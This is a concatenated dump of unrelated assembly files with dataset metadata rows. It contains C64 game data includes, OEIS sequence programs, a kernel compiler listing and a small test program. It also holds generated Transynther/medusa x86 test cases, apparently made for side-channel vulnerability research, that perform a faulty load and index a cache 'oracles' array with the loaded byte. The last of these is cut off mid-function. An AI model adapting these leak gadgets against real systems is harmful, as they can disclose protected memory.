;!bin "bin\Formation06.prg",,2
!bin "bin\wave6.prg",,2
FormationData07
;!bin "bin\Formation07.prg",,2
!bin "bin\wave7.prg",,2
FormationData08
;!bin "bin\Formation08.prg",,2
!bin "bin\wave13.prg",,2
FormationData09
;!bin "bin\Formation09.prg",,2
!bin "bin\wave9.prg",,2
FormationData10
;!bin "bin\Formation10.prg",,2
!bin "bin\wave10.prg",,2
FormationData11
;!bin "bin\Formation11.prg",,2
!bin "bin\wave11.prg",,2
FormationData12
;!bin "bin\Formation12.prg",,2
!bin "bin\wave12.prg",,2
FormationData13
;!bin "bin\Formation13.prg",,2
!bin "bin\wave8.prg",,2
FormationData14
;!bin "bin\Formation14.prg",,2
!bin "bin\Formation01.prg",,2
FormationData15
;!bin "bin\Formation15.prg",,2
!bin "bin\Formation02.prg",,2
FormationData16
;!bin "bin\Formation16.prg",,2
!bin "bin\formation03.prg",,2
*=$ac00
endscreen2
!bin "bin\endscreen2.bin"
;Insert the game tile data.
*=$b000
TILEMEMORY
!bin "bin\gametiles.bin"
;Insert title screen end (game completion) text
*=$b800
endtext
!bin "bin\endtext.bin"
*=$bc00
endattribs
!bin "bin\endattribs.bin"
*=$c400
endscreenmemory
!bin "bin\endscreen.bin"
;Insert logo bitmap video RAM data
*=$c800
colram
!bin "bin\logocolram.prg",,2
;Insert logo bitmap colour RAM data
*=$cc00
vidram
!bin "bin\logovidram.prg",,2
;Insert title screen scroll text
*=$d000
!source "scrolltext.asm"
;Insert title screen bitmap graphics data
*=$e000
!bin "bin\logobitmap.prg",,2
;Insert in game sound effects player data
*=$f000
!bin "bin\shockraidsfx.prg",,2
;Insert end screen / hi score music data
*=$f400
!bin "bin\music2.prg",,2
;Insert the HUD graphics data then
;the attributes
hud !bin "bin\hud.bin"
hudattribs
!bin "bin\hudattribs.bin"
| 21.892019
| 76
| 0.558439
|
7b579b69c5f9ee6e46cee68c858fa0a01eff3b12
| 4,714
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1979.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1979.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1979.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r8
push %rax
push %rbx
push %rcx
// Load
lea addresses_D+0x12609, %rcx
nop
add %r12, %r12
vmovups (%rcx), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rbx
nop
nop
nop
nop
nop
sub $60195, %rax
// Store
mov $0x529, %r10
nop
nop
cmp $17544, %r13
mov $0x5152535455565758, %rcx
movq %rcx, (%r10)
nop
nop
nop
dec %rcx
// Load
lea addresses_PSE+0x8ce9, %r10
nop
xor $2099, %rax
movaps (%r10), %xmm2
vpextrq $1, %xmm2, %rbx
add %rcx, %rcx
// Store
lea addresses_WT+0x17589, %r13
nop
and $30765, %rbx
movb $0x51, (%r13)
nop
nop
nop
nop
add %r8, %r8
// Faulty Load
lea addresses_WT+0x1fc89, %r12
nop
add %r8, %r8
movb (%r12), %bl
lea oracles, %r13
and $0xff, %rbx
shlq $12, %rbx
mov (%r13,%rbx,1), %rbx
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 51.23913
| 2,999
| 0.654221
|
b2f8c5e5f3439a63b168e7eb02d6d92fca653b49
| 715
|
asm
|
Assembly
|
programs/oeis/081/A081441.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/081/A081441.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/081/A081441.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A081441: a(n) = (2*n^3 - n^2 - n + 2)/2.
; 1,1,6,22,55,111,196,316,477,685,946,1266,1651,2107,2640,3256,3961,4761,5662,6670,7791,9031,10396,11892,13525,15301,17226,19306,21547,23955,26536,29296,32241,35377,38710,42246,45991,49951,54132,58540,63181,68061,73186,78562,84195,90091,96256,102696,109417,116425,123726,131326,139231,147447,155980,164836,174021,183541,193402,203610,214171,225091,236376,248032,260065,272481,285286,298486,312087,326095,340516,355356,370621,386317,402450,419026,436051,453531,471472,489880,508761,528121,547966,568302,589135,610471,632316,654676,677557,700965,724906,749386,774411,799987,826120,852816,880081,907921,936342,965350
mov $1,$0
mul $0,2
bin $1,2
mul $0,$1
add $0,$1
add $0,1
| 71.5
| 613
| 0.781818
|
09dcf81469ec3f7a3431bde7e5c006102e087f2f
| 581
|
asm
|
Assembly
|
programs/oeis/301/A301623.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/301/A301623.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/301/A301623.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A301623: Numbers not divisible by 2, 3 or 5 (A007775) with digital root 5.
; 23,41,59,77,113,131,149,167,203,221,239,257,293,311,329,347,383,401,419,437,473,491,509,527,563,581,599,617,653,671,689,707,743,761,779,797,833,851,869,887,923,941,959,977,1013,1031,1049,1067,1103,1121,1139,1157,1193,1211,1229,1247,1283,1301,1319,1337,1373,1391,1409,1427,1463,1481,1499,1517,1553,1571,1589,1607,1643,1661,1679,1697,1733,1751,1769,1787,1823,1841,1859,1877,1913,1931,1949,1967,2003,2021,2039,2057,2093,2111,2129,2147,2183,2201,2219,2237
mov $1,$0
div $0,4
add $0,$1
mul $0,18
add $0,23
| 64.555556
| 453
| 0.748709
|
8571c853319e651fa1d9a7b322bd593458f338cb
| 8,194
|
asm
|
Assembly
|
Aurora/Aurora/x64/Debug/sysmem.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | 8
|
2021-07-19T04:46:35.000Z
|
2022-03-12T17:56:00.000Z
|
Aurora/Aurora/x64/Debug/sysmem.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | null | null | null |
Aurora/Aurora/x64/Debug/sysmem.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | null | null | null |
; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC ?map_shared_memory@@YAXG_K0@Z ; map_shared_memory
PUBLIC ?unmap_shared_memory@@YAXG_K0@Z ; unmap_shared_memory
PUBLIC ?sys_get_used_ram@@YA_KXZ ; sys_get_used_ram
PUBLIC ?sys_get_free_ram@@YA_KXZ ; sys_get_free_ram
EXTRN ?pmmngr_alloc@@YAPEAXXZ:PROC ; pmmngr_alloc
EXTRN ?pmmngr_get_free_ram@@YA_KXZ:PROC ; pmmngr_get_free_ram
EXTRN ?pmmngr_get_used_ram@@YA_KXZ:PROC ; pmmngr_get_used_ram
EXTRN x64_cli:PROC
EXTRN ?pml4_index@@YA_K_K@Z:PROC ; pml4_index
EXTRN ?map_page@@YA_N_K0E@Z:PROC ; map_page
EXTRN ?unmap_page_ex@@YAXPEA_K_K_N@Z:PROC ; unmap_page_ex
EXTRN ?unmap_page@@YAX_K@Z:PROC ; unmap_page
EXTRN ?get_current_thread@@YAPEAU_thread_@@XZ:PROC ; get_current_thread
EXTRN ?thread_iterate_ready_list@@YAPEAU_thread_@@G@Z:PROC ; thread_iterate_ready_list
EXTRN ?thread_iterate_block_list@@YAPEAU_thread_@@H@Z:PROC ; thread_iterate_block_list
pdata SEGMENT
$pdata$?map_shared_memory@@YAXG_K0@Z DD imagerel $LN8
DD imagerel $LN8+317
DD imagerel $unwind$?map_shared_memory@@YAXG_K0@Z
$pdata$?unmap_shared_memory@@YAXG_K0@Z DD imagerel $LN7
DD imagerel $LN7+213
DD imagerel $unwind$?unmap_shared_memory@@YAXG_K0@Z
$pdata$?sys_get_used_ram@@YA_KXZ DD imagerel $LN3
DD imagerel $LN3+19
DD imagerel $unwind$?sys_get_used_ram@@YA_KXZ
$pdata$?sys_get_free_ram@@YA_KXZ DD imagerel $LN3
DD imagerel $LN3+19
DD imagerel $unwind$?sys_get_free_ram@@YA_KXZ
pdata ENDS
xdata SEGMENT
$unwind$?map_shared_memory@@YAXG_K0@Z DD 011301H
DD 0c213H
$unwind$?unmap_shared_memory@@YAXG_K0@Z DD 011301H
DD 08213H
$unwind$?sys_get_used_ram@@YA_KXZ DD 010401H
DD 04204H
$unwind$?sys_get_free_ram@@YA_KXZ DD 010401H
DD 04204H
xdata ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\sysserv\sysmem.cpp
_TEXT SEGMENT
?sys_get_free_ram@@YA_KXZ PROC ; sys_get_free_ram
; 58 : uint64_t sys_get_free_ram () {
$LN3:
sub rsp, 40 ; 00000028H
; 59 : x64_cli ();
call x64_cli
; 60 : return pmmngr_get_free_ram ();
call ?pmmngr_get_free_ram@@YA_KXZ ; pmmngr_get_free_ram
; 61 : }
add rsp, 40 ; 00000028H
ret 0
?sys_get_free_ram@@YA_KXZ ENDP ; sys_get_free_ram
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\sysserv\sysmem.cpp
_TEXT SEGMENT
?sys_get_used_ram@@YA_KXZ PROC ; sys_get_used_ram
; 53 : uint64_t sys_get_used_ram () {
$LN3:
sub rsp, 40 ; 00000028H
; 54 : x64_cli ();
call x64_cli
; 55 : return pmmngr_get_used_ram ();
call ?pmmngr_get_used_ram@@YA_KXZ ; pmmngr_get_used_ram
; 56 : }
add rsp, 40 ; 00000028H
ret 0
?sys_get_used_ram@@YA_KXZ ENDP ; sys_get_used_ram
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\sysserv\sysmem.cpp
_TEXT SEGMENT
i$1 = 32
t$ = 40
tv72 = 48
cr3$ = 56
dest_id$ = 80
pos$ = 88
size$ = 96
?unmap_shared_memory@@YAXG_K0@Z PROC ; unmap_shared_memory
; 37 : void unmap_shared_memory (uint16_t dest_id, uint64_t pos, size_t size) {
$LN7:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov WORD PTR [rsp+8], cx
sub rsp, 72 ; 00000048H
; 38 : x64_cli ();
call x64_cli
; 39 :
; 40 : thread_t* t = thread_iterate_ready_list (dest_id);
movzx ecx, WORD PTR dest_id$[rsp]
call ?thread_iterate_ready_list@@YAPEAU_thread_@@G@Z ; thread_iterate_ready_list
mov QWORD PTR t$[rsp], rax
; 41 : if (t == NULL) {
cmp QWORD PTR t$[rsp], 0
jne SHORT $LN4@unmap_shar
; 42 : t = thread_iterate_block_list(dest_id);
movzx eax, WORD PTR dest_id$[rsp]
mov ecx, eax
call ?thread_iterate_block_list@@YAPEAU_thread_@@H@Z ; thread_iterate_block_list
mov QWORD PTR t$[rsp], rax
$LN4@unmap_shar:
; 43 : }
; 44 : uint64_t *cr3 = (uint64_t*)t->cr3;
mov rax, QWORD PTR t$[rsp]
mov rax, QWORD PTR [rax+192]
mov QWORD PTR cr3$[rsp], rax
; 45 :
; 46 : for (int i = 0; i < size/4096; i++) {
mov DWORD PTR i$1[rsp], 0
jmp SHORT $LN3@unmap_shar
$LN2@unmap_shar:
mov eax, DWORD PTR i$1[rsp]
inc eax
mov DWORD PTR i$1[rsp], eax
$LN3@unmap_shar:
movsxd rax, DWORD PTR i$1[rsp]
mov QWORD PTR tv72[rsp], rax
xor edx, edx
mov rax, QWORD PTR size$[rsp]
mov ecx, 4096 ; 00001000H
div rcx
mov rcx, QWORD PTR tv72[rsp]
cmp rcx, rax
jae SHORT $LN1@unmap_shar
; 47 : unmap_page (pos + i * 4096);
mov eax, DWORD PTR i$1[rsp]
imul eax, 4096 ; 00001000H
cdqe
mov rcx, QWORD PTR pos$[rsp]
add rcx, rax
mov rax, rcx
mov rcx, rax
call ?unmap_page@@YAX_K@Z ; unmap_page
; 48 : unmap_page_ex(cr3,pos + i * 4096, false);
mov eax, DWORD PTR i$1[rsp]
imul eax, 4096 ; 00001000H
cdqe
mov rcx, QWORD PTR pos$[rsp]
add rcx, rax
mov rax, rcx
xor r8d, r8d
mov rdx, rax
mov rcx, QWORD PTR cr3$[rsp]
call ?unmap_page_ex@@YAXPEA_K_K_N@Z ; unmap_page_ex
; 49 : }
jmp SHORT $LN2@unmap_shar
$LN1@unmap_shar:
; 50 : }
add rsp, 72 ; 00000048H
ret 0
?unmap_shared_memory@@YAXG_K0@Z ENDP ; unmap_shared_memory
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\sysserv\sysmem.cpp
_TEXT SEGMENT
i$1 = 32
t$ = 40
tv74 = 48
tv81 = 56
cr3$ = 64
current_cr3$ = 72
tv94 = 80
dest_id$ = 112
pos$ = 120
size$ = 128
?map_shared_memory@@YAXG_K0@Z PROC ; map_shared_memory
; 19 : void map_shared_memory (uint16_t dest_id,uint64_t pos, size_t size) {
$LN8:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov WORD PTR [rsp+8], cx
sub rsp, 104 ; 00000068H
; 20 : x64_cli ();
call x64_cli
; 21 :
; 22 : thread_t* t = thread_iterate_ready_list (dest_id);
movzx ecx, WORD PTR dest_id$[rsp]
call ?thread_iterate_ready_list@@YAPEAU_thread_@@G@Z ; thread_iterate_ready_list
mov QWORD PTR t$[rsp], rax
; 23 : if (t == NULL) {
cmp QWORD PTR t$[rsp], 0
jne SHORT $LN5@map_shared
; 24 : t = thread_iterate_block_list(dest_id);
movzx eax, WORD PTR dest_id$[rsp]
mov ecx, eax
call ?thread_iterate_block_list@@YAPEAU_thread_@@H@Z ; thread_iterate_block_list
mov QWORD PTR t$[rsp], rax
$LN5@map_shared:
; 25 : }
; 26 : uint64_t *current_cr3 = (uint64_t*)get_current_thread()->cr3;
call ?get_current_thread@@YAPEAU_thread_@@XZ ; get_current_thread
mov rax, QWORD PTR [rax+192]
mov QWORD PTR current_cr3$[rsp], rax
; 27 : uint64_t *cr3 = (uint64_t*)t->cr3;
mov rax, QWORD PTR t$[rsp]
mov rax, QWORD PTR [rax+192]
mov QWORD PTR cr3$[rsp], rax
; 28 :
; 29 : for (int i = 0; i < size/4096; i++) {
mov DWORD PTR i$1[rsp], 0
jmp SHORT $LN4@map_shared
$LN3@map_shared:
mov eax, DWORD PTR i$1[rsp]
inc eax
mov DWORD PTR i$1[rsp], eax
$LN4@map_shared:
movsxd rax, DWORD PTR i$1[rsp]
mov QWORD PTR tv74[rsp], rax
xor edx, edx
mov rax, QWORD PTR size$[rsp]
mov ecx, 4096 ; 00001000H
div rcx
mov rcx, QWORD PTR tv74[rsp]
cmp rcx, rax
jae $LN2@map_shared
; 30 : if (map_page ((uint64_t)pmmngr_alloc(),pos + i * 4096, PAGING_USER)) {
mov eax, DWORD PTR i$1[rsp]
imul eax, 4096 ; 00001000H
cdqe
mov rcx, QWORD PTR pos$[rsp]
add rcx, rax
mov rax, rcx
mov QWORD PTR tv81[rsp], rax
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
mov r8b, 4
mov rcx, QWORD PTR tv81[rsp]
mov rdx, rcx
mov rcx, rax
call ?map_page@@YA_N_K0E@Z ; map_page
movzx eax, al
test eax, eax
je SHORT $LN1@map_shared
; 31 : cr3[pml4_index(pos + i * 4096)] = current_cr3[pml4_index(pos + i * 4096)];
mov eax, DWORD PTR i$1[rsp]
imul eax, 4096 ; 00001000H
cdqe
mov rcx, QWORD PTR pos$[rsp]
add rcx, rax
mov rax, rcx
mov rcx, rax
call ?pml4_index@@YA_K_K@Z ; pml4_index
mov QWORD PTR tv94[rsp], rax
mov ecx, DWORD PTR i$1[rsp]
imul ecx, 4096 ; 00001000H
movsxd rcx, ecx
mov rdx, QWORD PTR pos$[rsp]
add rdx, rcx
mov rcx, rdx
call ?pml4_index@@YA_K_K@Z ; pml4_index
mov rcx, QWORD PTR cr3$[rsp]
mov rdx, QWORD PTR current_cr3$[rsp]
mov r8, QWORD PTR tv94[rsp]
mov rdx, QWORD PTR [rdx+r8*8]
mov QWORD PTR [rcx+rax*8], rdx
$LN1@map_shared:
; 32 : }
; 33 : }
jmp $LN3@map_shared
$LN2@map_shared:
; 34 : }
add rsp, 104 ; 00000068H
ret 0
?map_shared_memory@@YAXG_K0@Z ENDP ; map_shared_memory
_TEXT ENDS
END
| 24.242604
| 88
| 0.702587
|
59f0747c74a6f786628485126200583dbf336d4b
| 2,439
|
asm
|
Assembly
|
test3.asm
|
astrellon/moss
|
917250530964d39588cccdb04aa59ab40333d1c3
|
[
"MIT"
] | null | null | null |
test3.asm
|
astrellon/moss
|
917250530964d39588cccdb04aa59ab40333d1c3
|
[
"MIT"
] | null | null | null |
test3.asm
|
astrellon/moss
|
917250530964d39588cccdb04aa59ab40333d1c3
|
[
"MIT"
] | null | null | null |
; Third test file
#include "stdmath.asm"
; MMU setup
; Sets a 1 to 1 mapping up to 32
mmu_setup:
#define PAGE_TABLE_SIZE 32
MOV r0 0 ; Page table index
mmu_start:
CMP r0 PAGE_TABLE_SIZE
;< MOV @r0 r0
INC r0
< JMP mmu_start
RETURN
; Peripheral setup
perf_setup:
#define perf_index r0
#define perf_offset r1
#define perf_store r2
#define perf_store_base r6
MOV perf_index 0 ; Perf index
MOV perf_store PAGE_TABLE_SIZE ; Index to store the results from the IO_ASSIGNs
MOV perf_store_base perf_store
MOV perf_offset 32 ; Perf memory offset
ADD perf_offset 32
perf_start:
; Send general port status, returns:
; 1: Attached and assigned
; 0: Attached but not assigned
; -1: Nothing attached
; -2: Out of bounds for peripherals
; -3: Other error
#define perf_result r3
IO_SEND perf_result perf_index 0
CMP perf_result 0
== JMP perf_assign ; Unassigned
PRINT "Skippd jmp\n"
INC perf_index
> JMP perf_start ; Assigned
CMP perf_result -1 ; Check if attached
== JMP perf_start ; Not attached, skip
< JMP perf_end ; At the end of the perfs
perf_assign:
#define perf_memory_result r4
IO_SEND perf_memory_result perf_index 1 ; Ask the peripheral how much memory it wants.
MOV @perf_store perf_offset ; Store the memory offset of the perf
INC perf_store
MOV @perf_store perf_memory_result ; Store the amount of memory the perf wanted.
INC perf_store
IO_ASSIGN perf_index perf_offset perf_memory_result
ADD perf_offset perf_memory_result
INC perf_index
JMP perf_start
perf_end:
RETURN
; Main program
main:
CALL mmu_setup
CALL perf_setup
REGI 0 func_double
MOV r5 perf_store_base
MOV r0 @r5 ; Grab the offset of the first perf
INC r5
MOV r1 @r5 ; Grab the size of the first perf
; Write test
MOV r2 0
MOV r3 5
mem_start:
CMP r2 r1
>= JMP mem_end
MOV @r0 r3
ADD r3 5
INC r2
INC r0
JMP mem_start
mem_end:
IO_SEND 0 0x12
MOV r0 0
start:
CMP r0 0x00FFFFFF
;CMP r0 10
< INC r0
< JMP start
end:
PUSH 5
PUSH 8
CALL func_add
POP r10
PRINT "Add result "
PRINT r10
PRINT "\n"
PUSH r10
INT 0
POP r9
PRINT "Double result "
PRINT r9
PRINT "\n"
PRINT "Finishing\n"
HALT
| 20.669492
| 94
| 0.652317
|
d5cd4e91689c94bd1d2eb0e720a9ebbad90162c0
| 8,771
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_ht_/i9-9900K_12_0xca.log_21829_1538.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_ht_/i9-9900K_12_0xca.log_21829_1538.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_ht_/i9-9900K_12_0xca.log_21829_1538.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x19131, %r15
nop
nop
nop
nop
nop
xor $62903, %rsi
vmovups (%r15), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r10
nop
xor %rbx, %rbx
lea addresses_A_ht+0xc4fd, %rdi
nop
add $30039, %r12
movb (%rdi), %r15b
nop
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x1df7d, %rsi
lea addresses_A_ht+0xbc5d, %rdi
nop
xor $39487, %r11
mov $15, %rcx
rep movsb
nop
nop
nop
dec %rsi
lea addresses_A_ht+0x1793d, %rdi
xor %rsi, %rsi
mov (%rdi), %r10d
nop
nop
nop
nop
and $49263, %r12
lea addresses_normal_ht+0xf18d, %rsi
lea addresses_WC_ht+0xa76d, %rdi
add %r10, %r10
mov $52, %rcx
rep movsb
and $2005, %rcx
lea addresses_WT_ht+0xf59d, %r15
xor %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, (%r15)
nop
nop
nop
nop
add %r15, %r15
lea addresses_A_ht+0x5e3d, %rsi
lea addresses_UC_ht+0x1d04d, %rdi
nop
nop
nop
nop
cmp %rbx, %rbx
mov $70, %rcx
rep movsb
and $15602, %r15
lea addresses_WT_ht+0x1d63d, %r15
nop
sub $18938, %r12
movups (%r15), %xmm6
vpextrq $1, %xmm6, %r10
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x1388d, %r15
nop
xor %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, (%r15)
nop
nop
inc %r11
lea addresses_A_ht+0x1be3d, %r15
nop
add %r10, %r10
movl $0x61626364, (%r15)
nop
nop
cmp $50077, %rcx
lea addresses_A_ht+0x4695, %r12
nop
nop
nop
nop
nop
dec %r15
movw $0x6162, (%r12)
nop
nop
nop
nop
xor %r11, %r11
lea addresses_WC_ht+0x112b5, %rbx
xor $24943, %r11
vmovups (%rbx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r15
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_D_ht+0x1880b, %r12
clflush (%r12)
nop
add $59575, %r11
mov $0x6162636465666768, %rbx
movq %rbx, (%r12)
nop
dec %r15
lea addresses_normal_ht+0x1ba5c, %rcx
nop
nop
nop
nop
xor %rsi, %rsi
vmovups (%rcx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r10
nop
nop
cmp $4945, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0x463d, %rdx
nop
inc %rdi
mov $0x5152535455565758, %r12
movq %r12, (%rdx)
nop
nop
nop
nop
xor $59548, %r9
// Store
lea addresses_WC+0x1673, %rdx
nop
nop
add $32337, %rsi
movw $0x5152, (%rdx)
nop
nop
nop
